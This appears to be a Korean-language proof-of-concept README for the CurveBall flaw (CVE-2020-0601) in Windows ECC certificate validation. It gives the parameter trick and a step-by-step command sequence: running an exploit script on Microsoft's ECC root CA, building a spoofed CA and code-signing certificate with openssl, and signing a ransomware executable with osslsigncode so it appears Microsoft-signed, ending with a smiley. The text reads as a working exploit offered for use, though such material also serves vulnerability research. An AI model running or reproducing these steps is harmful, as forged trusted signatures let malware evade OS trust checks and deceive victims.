
CVE-2020-0601 (CurveBall)에 대한 개념 증명 익스플로잇으로, ECC 인증서 검증 우회를 통해 신뢰된 CA를 사칭하고 임의의 실행 파일에 서명하는 방법을 보여줍니다.
이 취약점은 CurveBall로 알려져 있으며, ECC 알고리즘을 사용하는 인증서의 잘못된 검증으로 인해 발생합니다. Windows는 인증서 캐시에서 이전에 검증된 인증서를 확인하려고 시도하며, 이 과정에서 인증서의 공개 키가 동일한지만 확인하고 다른 매개변수는 확인하지 않습니다.
인증서를 위조하기 위해, 우리는 다음과 같이 매개변수를 명시적으로 설정합니다:
d' = 1
G' = Q
더 많은 정보가 필요하다면 final_report_milestone_IV.pdf 파일의 수학적 세부 사항 섹션을 확인할 수 있습니다.
이 PoC에서는 Microsoft의 신뢰된 인증서(2043년까지 유효)인 "Microsoft ECC Product Root Certificate Authority" 를 사용하겠습니다.
CA에서 공개 키를 추출하고 취약점에 따라 수정해 봅시다.
ruby exploit.rb ./MicrosoftECCProductRootCertificateAuthority.cer
이 키를 기반으로 새로운 x509 인증서를 생성합니다. 이것이 우리의 자체 위조 CA가 됩니다.
openssl req -new -x509 -key spoofed_ca.key -out spoofed_ca.crt -subj "/C=/ST=/L=/O=/OU=/CN=/emailAddress="
위조된 spoofed_ca.crt의 내용을 확인하려면:
openssl x509 -in spoofed_ca.crt -noout -text
새로운 키를 생성합니다. 이 키는 원하는 어떤 유형이든 가능합니다. 코드 서명 인증서를 만드는 데 사용되며, 이 인증서는 우리의 자체 CA로 서명할 것입니다.
openssl ecparam -name secp384r1 -genkey -noout -out cert.key
다음으로, 새로운 인증서 서명 요청(CSR)을 생성합니다. 이 요청은 일반적으로 신뢰된 CA에 보내지지만, 우리는 위조된 CA를 가지고 있으므로 직접 서명할 수 있습니다.
openssl req -new -key cert.key -out cert.csr -config openssl_cs.conf -reqexts v3_cs
새로운 CSR을 위조된 CA와 CA 키로 서명합니다. 이 인증서는 2047년에 만료되는 반면, 실제 신뢰된 Microsoft CA는 2043년에 만료됩니다.
openssl x509 -req -in cert.csr -CA spoofed_ca.crt -CAkey spoofed_ca.key -CAcreateserial -out cert.crt -days 10000 -extfile openssl_cs.conf -extensions v3_cs
남은 것은 실행 파일 서명을 위해 인증서, 키 및 위조된 CA를 PKCS12 파일로 묶는 것뿐입니다.
openssl pkcs12 -export -in cert.crt -inkey cert.key -certfile spoofed_ca.crt -name "Code Signing" -out cert.p12
PKCS12 파일로 실행 파일에 서명해 봅시다.
osslsigncode sign -pkcs12 cert.p12 -n "Signed by PISP Team" -in unsigned_ransomware.exe -out microsoft_signed_ransomware.exe -pass 1234
이제, Microsoft가 서명한 새로운 랜섬웨어가 생겼습니다 :)